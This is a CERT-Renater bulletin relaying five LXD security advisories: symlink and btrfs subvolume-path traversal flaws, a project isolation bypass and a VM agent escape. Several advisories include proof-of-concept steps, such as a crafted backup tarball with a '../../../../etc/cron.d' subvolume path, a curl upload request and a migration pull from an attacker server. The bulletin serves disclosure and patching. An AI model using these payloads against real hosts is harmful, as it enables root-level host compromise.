Ce mail provient de l'extérieur, restons vigilants

=====================================================================


                            CERT-Renater

                Note d'Information No. 2026/VULN961
_____________________________________________________________________

DATE                : 02/10/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running lxd versions prior to 4.0.14,
                          5.0.10, 5.21.8, 6.9-bf243da, 6.10.
  
=====================================================================
https://github.com/canonical/lxd/security/advisories/GHSA-fmc3-3cpq-6whr
https://github.com/canonical/lxd/security/advisories/GHSA-27q7-qwhm-c34p
https://github.com/canonical/lxd/security/advisories/GHSA-h85r-gjgx-g2rv
https://github.com/canonical/lxd/security/advisories/GHSA-p456-92fx-44xh
https://github.com/canonical/lxd/security/advisories/GHSA-mr8v-hx34-hfvf
_____________________________________________________________________

Arbitrary file write on host via symlink in migration stream
Critical
tomponline published GHSA-fmc3-3cpq-6whr 

Package
lxd

Affected versions
>= 4.0

Patched versions
4.0.14, 5.0.10, 5.21.8, 6.9-bf243da, 6.10


Description

Reported from GHSA-579w-c4rw-c8q3

Summary

When receiving an instance or custom storage volume through
migration (copy, move, refresh, push or pull), Incus hands the
incoming data stream to rsync, or to btrfs receive for
optimized transfers between btrfs pools.
Both tools replay the stream on the host using regular path-based
system calls and follow symlinks in the paths they write to. A
malicious migration source can plant a symlink in the transferred
volume, such as rootfs pointing at /, and have later entries in
the same stream (or in the following snapshot or main volume
stream) written through it. The symlink check added in Incus 7.3
runs after the transfer, so it doesn't prevent those writes.


Impact

Any client allowed to create an instance or custom volume in a
project, or any server a target is told to copy or move from,
can write attacker-controlled files to arbitrary paths on the
target host as root, leading to full host compromise. For virtual
machines the same technique can replace the root.img block file
with a symlink before the block stream is written through it.

All storage drivers receiving through rsync are affected, as is
the optimized btrfs path. Optimized ZFS transfers are not
affected as zfs receive never resolves host paths.

Releases before 7.3.0 are additionally affected by a rootfs
symlink surviving the transfer, which the file API then follows
when chrooting into the container, allowing host files to be
read as well as written.
Details

rsync writes each received entry to <volume>/<path> and, when
the sender marks the parent directories as not transferred,
resolves that path through whatever already exists on the receiving
side, including a symlink created earlier in the transfer. btrfs
receive behaves the same way as it applies mkfile, write, mkdir and
rename commands with plain creat(), open(), mkdir() and rename()
calls on paths built from the received subvolume. Neither verifies
the stream against the real filesystem it was supposed to describe,
so a crafted stream isn't constrained to what a genuine sender
would produce.


Workarounds

Only allow trusted clients to create instances and custom volumes,
and only migrate from trusted servers.


Severity
Critical
9.9/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID
CVE-2026-87799

Weaknesses
No CWEs

Credits

    @stgraber stgraber Coordinator
    @manus-use manus-use 
_____________________________________________________________________


btrfs optimized backup/migration: unvalidated subvolume path enables
root arbitrary file delete/write (RCE ceiling)

Critical
tomponline published GHSA-27q7-qwhm-c34p 

Package
github.com/canonical/lxd (Go)

Affected versions
>= 4.0.2

Patched versions
4.0.14, 5.0.10, 5.21.8, 6.9-bf243da, 6.10


Description

Summary

The LXD btrfs storage driver reads a free-form subvolume path field
(BTRFSSubVolume.Path) from attacker-supplied data — the optimized
backup header (backup/optimized_header.yaml) on the backup-restore
path, and the wire BTRFSMetaDataHeader on the migration-receive path
— and passes it, without any validation or containment, to
filepath.Join(v.MountPath(), subVol.Path) and then to root-run
filesystem operations (os.Remove, os.Rename, btrfs property set).
A ../ traversal in this field escapes the storage pool and lets a
project-restricted, non-admin user delete arbitrary files on the host
as root and, on btrfs-root deployments, place attacker-controlled
content outside the pool (host RCE ceiling). This is a DISTINCT sink
from CVE-2026-66897 (template map keys) and CVE-2026-66898
(instance Name field): those fixes never touch subVol.Path, which is
decoded separately inside the btrfs driver and never re-validated.


Root Cause

BTRFSSubVolume.Path is shared by the backup and migration subsystems
(struct comment at lxd/storage/drivers/driver_btrfs_utils.go:413).
Both decode sites accept it verbatim:

    Backup restore: loadOptimizedBackupHeader YAML-decodes backup/optimized_header.yaml into []BTRFSSubVolume with no post-decode validation (driver_btrfs_utils.go:591).
    Migration receive: json.Unmarshal(buf, &migrationHeader) (driver_btrfs_volumes.go:573).

The path then flows unguarded to
filepath.Join(v.MountPath(), subVol.Path) (:296 restore, :695 migration).
There is NO filepath.Clean+containment, filepath.IsLocal, os.Root/OpenRoot,
or HasPrefix confinement on this field. The only equality compare
subVol.Path != string(filepath.Separator) rejects a literal / but
not ../. instancetype.ValidName/ValidSnapName validate names, not Path.
PathNameEncode is applied only to compute the .bin filename to locate
inside the tarball, never to the target path. The CVE-2026-66898
ValidName fix (backend_lxd.go:833-848) validates the instance Name only.


Impact

    Root arbitrary file/empty-dir deletion (deployment-independent):
os.Remove(copyOp.dest) (:385 restore, :786 migration) runs as root;
unlink(2) is not filesystem-bounded, so any btrfs pool is affected
regardless of host layout. Guaranteed floor → I:H + A:H.

    Attacker-content placement → host RCE (btrfs-root distros): 
os.Rename(src,dest) (:388/:789) moves the received subvolume
(attacker content) to the attacker-chosen path. EXDEV-bounded to
the pool's own filesystem, which IS the host root fs on btrfs-root
deployments (Fedora/SUSE/btrfs-root Ubuntu) → placing a directory
such as /root/.ssh (with attacker authorized_keys)
succeeds → host RCE ceiling → C:H.

    btrfs property set -ts (:407/:817): root, constrained to
existing subvolumes (lower impact).

Proof of Concept

Backup-restore vector: as a project-restricted non-admin with
can_create_instances, export a legitimate optimized btrfs instance
backup, edit backup/optimized_header.yaml to set a subvolume entry
path: ../../../../../../root/.ssh (keep the corresponding .bin btrfs
stream so a copyOp is created), re-tar, then:

curl -X POST --data-binary @evil.tar \
  -H 'Content-Type: application/octet-stream' \
  -H 'X-LXD-pool: btrfs-pool' -H 'X-LXD-name: victim' \
  https://LXD/1.0/instances?project=restricted

Migration-receive vector: the same low-priv user issues
POST /1.0/instances with source={type:migration, mode:pull,
operation:https://attacker/..., certificate:...}. The victim LXD
dials the attacker server, which sends a BTRFSMetaDataHeader
whose Subvolumes[].Path contains ../ — reaching the same sinks.


Attack Chain

Backup-restore vector:

    Entry: POST /1.0/instances, octet-stream, X-LXD-pool:<btrfs>. Guard: allowPermission(TypeProject, CanCreateInstances) (instances.go:35). Bypass: attacker legitimately holds it → createFromBackup (instances_post.go:1363).

    Parse: backup.GetInfo sets optimized/optimized_header/backend=btrfs from index.yaml; loadOptimizedBackupHeader decodes optimized_header.yaml → subVol.Path="../.../root/.ssh". Guard: none. Proof: driver_btrfs_utils.go:591 returns decode verbatim.

    Name check runs but is orthogonal: ValidName(srcBackup.Name) (backend_lxd.go:833-848) validates Name, never Subvolumes[].Path.

    Sink: filepath.Join(v.MountPath(), subVol.Path) (:296) → os.Remove (:385), os.Rename (:388), setSubvolumeReadonlyProperty (:405-407), all root. Guard: none (no os.Root). Proof: filepath.Join("/var/lib/lxd/storage-pools/btrfs/containers/proj_victim","../.../root/.ssh") → /root/.ssh (verified via go run).

    Impact: root arbitrary deletion (any deployment); attacker-content dir placement → host RCE on btrfs-root.


Migration-receive vector:

    Entry: POST /1.0/instances, source={type:migration,mode:pull,operation:https://attacker/...}. Guard: CanCreateInstances. Bypass: prepareInstanceMigrationSink dials the attacker URL (instances_post.go:353).

    Wire decode: attacker server sends BTRFSMetaDataHeader → json.Unmarshal(buf,&migrationHeader) (:573), Subvolumes[].Path="../...". Guard: none.

    Sink: filepath.Join(v.MountPath(), subVol.Path) (:695) → os.Remove (:786), os.Rename (:789), setSubvolumeReadonlyProperty (:817), all root. Guard: none.

    Impact: root file deletion / content placement (pool-fs bounded), same class as the backup-restore vector.


Bypass Evidence

    git show --name-only HEAD (CVE-2026-66897 fix) touches driver_lxc.go, driver_qemu.go, filesystem/fs.go, shared/util.go — zero btrfs files.

    CVE-2026-66898 fix (backend_lxd.go:833-848) validates the instance Name only; subVol.Path is a different field decoded later in the btrfs driver and never re-checked.

    grep of both btrfs driver files: every use of subVol.Path is a bare filepath.Join(...) or the equality compare subVol.Path != string(filepath.Separator) (rejects literal /, not ../). No filepath.Clean+containment / IsLocal / os.Root / HasPrefix / ValidName applied to subVol.Path. The one HasPrefix(path, poolMountPath+"/") guard (driver_btrfs_utils.go:119) is in the send/listing path and operates on server-generated vol.MountPath(), not the attacker field.

    filepath.Join .. collapse proven empirically via go run.

    Sinks present on latest release tag lxd-6.9 and on HEAD; no fix exists for this path.


Affected Versions

<= lxd-6.9 (present on the latest release tag and on HEAD; HEAD
is the CVE-2026-66897 fix commit and does not touch the btrfs
driver).


Suggested Fix

Validate/confine BTRFSSubVolume.Path at BOTH decode sites
(backup loadOptimizedBackupHeader and migration json.Unmarshal),
ideally via a shared helper — reject .. / absolute paths, or
resolve and enforce containment within v.MountPath() using
filepath.IsLocal or os.Root/OpenRoot. A fix applied to only one
decode site leaves the other exploitable.

Reported by zx (Jace) — GitHub: @manus-use


Severity
Critical
9.6/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H

CVE ID
CVE-2026-85185

Weaknesses
Weakness CWE-22
Weakness CWE-23

Credits

    @manus-use manus-use Reporter

_____________________________________________________________________


Path traversal via btrfs optimized-backup `subvolumes[].path` enables
root file/dir manipulation

Critical
tomponline published GHSA-h85r-gjgx-g2rv 

Package
lxd

Affected versions
>= 4.0.2

Patched versions
4.0.14, 5.0.10, 5.21.8, 6.9-bf243da, 6.10

Description


Impact

When a backup is restored onto a btrfs storage pool, the daemon reads
backup/optimized_header.yaml from the uploaded tarball and joins each
subvolumes[].path directly into filepath.Join(v.MountPath(), subVol.Path)
without cleaning, without rejecting .. or absolute paths, and without
any prefix containment check. That path then reaches two root-privileged
primitives: os.Remove (arbitrary deletion) and os.Rename (arbitrary
directory placement/overwrite), plus a btrfs ioctl on an arbitrary path.
An authenticated user with can_create_instances can craft a tarball whose
subvolumes[].path escapes the volume mount point
(e.g. ../../../../etc/cron.d), letting the daemon delete or replace
directories anywhere on the host. In a multi-tenant restricted project
this is an ordinary-member primitive and effectively a host-level
filesystem compromise. A separate validation (ValidSnapName, line 332)
protects snapshot names — the vector fixed by CVE-2026-66898 — but the
subvolume-path field was left unguarded.


Patches

None for this specific sink in the audited snapshot. The upstream fix
for CVE-2026-66898 (released in 4.0.12, 5.0.4, 5.21.2, 6.1) covers
instance/volume/snapshot names in index.yaml; the btrfs
optimized_header.yaml subvolume path described here remains unvalidated
in 6.9. Maintainers should confirm whether this is a fix gap for
CVE-2026-66898 or a distinct flaw and patch the subvolume-path
handling accordingly.


Workarounds

Do not use the btrfs optimized-backup import path with untrusted
tarballs. Restrict can_create_instances and can_create_storage_volumes
to trusted administrators, and accept backups only from authenticated,
integrity-verified sources. Where multi-tenant restricted projects are
in use, consider disallowing backup import for non-admin members until
the fix lands.


Attack Path (Validation Evidence)

[Entry] POST /1.0/instances  (application/octet-stream backup import)
    ↓  can_create_instances (instances.go:35)
[Handler] instancesPost → createFromBackup  (instances_post.go:829)
    ↓  upload tarball → backup.GetInfo parses backup/index.yaml  (instances_post.go:894)
    ↓  attacker sets optimized: true, optimized_header: true
[Service] pool.CreateInstanceFromBackup  (instances_post.go:1101 → backend_lxd.go:819)
[Driver] btrfs.CreateVolumeFromBackup  (driver_btrfs_volumes.go:153)
    ↓  loadOptimizedBackupHeader parses backup/optimized_header.yaml  (driver_btrfs_utils.go:569-602)
    ↓  yaml.Decode → subvolumes[].Path = "../../../../etc/cron.d"  (no validation)
[Sink] unpackVolume  (driver_btrfs_volumes.go:279-320)
    ↓  subVolTargetPath := filepath.Join(v.MountPath(), subVol.Path)  (:296)  → escapes to /etc/cron.d
    ↓  copyOps.append({src: received subvol, dest: escaped path})
[Sink] copyOps loop  (driver_btrfs_volumes.go:378-392)
    ↓  os.Remove(copyOp.dest)       # root arbitrary delete  (:385)
    ↓  os.Rename(copyOp.src, copyOp.dest)  # root arbitrary dir placement  (:388)
[Impact] host filesystem destruction / arbitrary directory overwrite as root


Taint Flow (Validation Evidence)

Source: backup tarball optimized_header.yaml: subvolumes[].path  (fully attacker-controlled)
    ↓  string, from uploaded YAML
[Transform] loadOptimizedBackupHeader yaml.Decode  (driver_btrfs_utils.go:591)
    ↓  ✗ no sanitization of path values
[Transform] filepath.Join(v.MountPath(), subVol.Path)  (driver_btrfs_volumes.go:296)
    ↓  △ Clean normalises, but "../../../../etc/cron.d" still escapes the mount point
    ↓  ✗ no HasPrefix(clean, mountPath) check, no .. / absolute-path rejection
[Sink1] os.Remove(copyOp.dest)  (:385)
[Sink2] os.Rename(copyOp.src, copyOp.dest)  (:388)
[Sink3] setSubvolumeReadonlyProperty(join(mountPath, subVol.Path))  (:405)
    ↓  all run as root
Impact: arbitrary host path deletion / directory placement / btrfs ioctl


Sanitization verdict: ABSENT — filepath.Join's cleaning is not a security
control; snapshot names are validated but subvolume paths are not.


Proof of Concept
Malicious backup package

# backup/index.yaml — forces the btrfs optimized path
name: evil
backend: btrfs
pool: pool1
optimized: true
optimized_header: true
type: container

# backup/optimized_header.yaml — path escapes the volume mount point
subvolumes:
  - path: "../../../../etc/cron.d"
    snapshot: ""
    readonly: false

backup/
├── index.yaml
├── optimized_header.yaml
├── container.bin                 # valid btrfs send stream (from any real btrfs instance backup)
└── container_<encoded>.bin       # bin file named to match the injected subvol path


Request

lxc import evil.tar
# equivalent API: POST /1.0/instances (multipart / application/octet-stream)

Expected Result

os.Remove(join(mountPath, "../../../../etc/cron.d"))  →  effectively os.Remove("/etc/cron.d")
os.Rename("/tmp/lxd_backup_xxx/<received-subvol>", "/etc/cron.d")  →  attacker directory replaces /etc/cron.d

filepath.Join("/var/lib/lxd/storage-pools/pool1/containers/evil",
"../../../../etc/cron.d") resolves to /etc/cron.d. The daemon deletes
the target and moves the attacker-controlled subvolume into place,
as root.


Reproduction Steps

    Deploy LXD 6.9 with a btrfs storage pool; create an instance;
obtain a can_create_instances client certificate.
    Create a legitimate backup of a btrfs-backed instance, then
tamper with optimized_header.yaml's subvolumes[].path.
    Run lxc import evil.tar into the btrfs pool.
    Observe /etc/cron.d replaced by the attacker subvolume —
traversal succeeded.


Affected Component

    File: lxd/storage/drivers/driver_btrfs_volumes.go:296, 378-392, 405; lxd/storage/drivers/driver_btrfs_utils.go:569-602
    Function: btrfs.CreateVolumeFromBackup, unpackVolume, loadOptimizedBackupHeader
    Entry: instancesPost → createFromBackup (lxd/instances_post.go:829-1101)
    Preconditions: btrfs storage pool + can_create_instances / can_create_storage_volumes


Fix Recommendation

  // for each subVol.Path in unpackVolume (and migration-receive paths :695/:817/:1739/:1902):
+ cleaned := filepath.Clean(subVol.Path)
+ if cleaned == ".." || strings.HasPrefix(cleaned, "../") || path.IsAbs(cleaned) {
+     return fmt.Errorf("Invalid subvolume path %q", subVol.Path)
+ }
+ target := filepath.Join(v.MountPath(), cleaned)
+ if !strings.HasPrefix(target, v.MountPath()+string(filepath.Separator)) {
+     return fmt.Errorf("Subvolume path %q escapes volume mount path", subVol.Path)
+ }

Clean every subvol[].Path, reject traversal/absolute paths, and enforce
a mount-path prefix. Apply the same checks on the migration-receive
path. Add regression tests under test/suites/.


References

    CWE-22: Path Traversal
    CVE-2026-66898 (OpenCVE)
    CVE-2026-66898 (NVD)
    Ubuntu Community Hub: LXD security advisory


Severity
Critical
9.9/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID
CVE-2026-85526

Weaknesses
Weakness CWE-22

Credits

    @EclipsSec EclipsSec Reporter


_____________________________________________________________________


Project restriction bypass for custom volume copy with omitted source
type

High
tomponline published GHSA-p456-92fx-44xh

Package
lxd

Affected versions
> 4.0

Patched versions
5.0.10, 5.21.8, 6.9-bf243da, 6.10


Description

Reported from GHSA-jh4v-j34r-2mgh
Summary

Creating a custom storage volume with a source volume but no
source.type is handled as a copy, but the source volume access check
only applies when source.type is explicitly set to copy. A request
that omits the type goes straight to the copy code path with a
caller-controlled source.project.


Impact

Any client allowed to create custom volumes in a project can copy
any custom volume from any other project on the server, including
its snapshots and configuration, and read its contents, defeating
project isolation.


Details

The POST /1.0/storage-pools/{pool}/volumes/custom endpoint only
checks can_create_storage_volumes on the target project. The
can_view check on the source volume added for CVE-2026-55621 lives
in the copy arm of the source type switch, while the empty type
arm calls the same copy helper without it. The official client
always sets source.type to copy, so the empty form is only
reachable through a crafted request.


Severity
High
7.7/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CVE ID
CVE-2026-97335

Weaknesses
No CWEs

Credits

    @stgraber stgraber Coordinator
    @manus-use manus-use Reporter


_____________________________________________________________________

Malicious agent in a VM can escape the target directory of a recursive
file pull

Moderate
tomponline published GHSA-mr8v-hx34-hfvf

Package
lxd

Affected versions
>= 4.0.2 < 6.9

Patched versions
4.0.14, 5.0.10, 5.21.8


Description

Reported from GHSA-wfvq-qh87-gm4j

Summary

incus file pull -r copies a directory tree out of a virtual machine
over SFTP, served by incus-agent running inside the guest. The client
trusted the agent's directory listing and Lstat results without
accounting for the fact that a compromised agent can make them
inconsistent. A malicious agent can return the same entry name twice,
report it as a symlink on the first visit and as a directory or regular
file on the second. The client creates the symlink on the first visit
and, on the second, recurses into or writes through it, escaping the
local target directory.


Impact

An attacker with root inside a virtual machine, running a modified
incus-agent, can make an operator who runs incus file pull -r from that
virtual machine write attacker-controlled files, or whole directory
trees, to arbitrary paths on the machine running the incus CLI, with
the operator's privileges. When run as root this allows overwriting
files such as /etc/shadow or /root/.ssh/authorized_keys.

The operator has to run a recursive pull from the compromised virtual
machine; no other interaction is needed. Containers are not affected
as their file transfers are served by forkfile on the host rather than
by an in-guest agent.


Details

sftpRecursivePullFile in cmd/incus/utils_sftp.go iterates over the
entries returned by ReadDir, calls Lstat on each and creates the
matching local file, directory or symlink under the target. Nothing
stopped a later entry from resolving to a path that the transfer itself
had just created as a symlink: os.Mkdir/os.Create follow it, so the
"directory" or "file" lands wherever the symlink points.


Workarounds

Avoid incus file pull -r from untrusted virtual machines, or run it
as an unprivileged user into a dedicated directory.


Severity
Moderate
5.8/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
None
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:N

CVE ID
CVE-2026-87798

Weaknesses
No CWEs

Credits

    @stgraber stgraber Coordinator
    @palkeo palkeo Finder


=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================




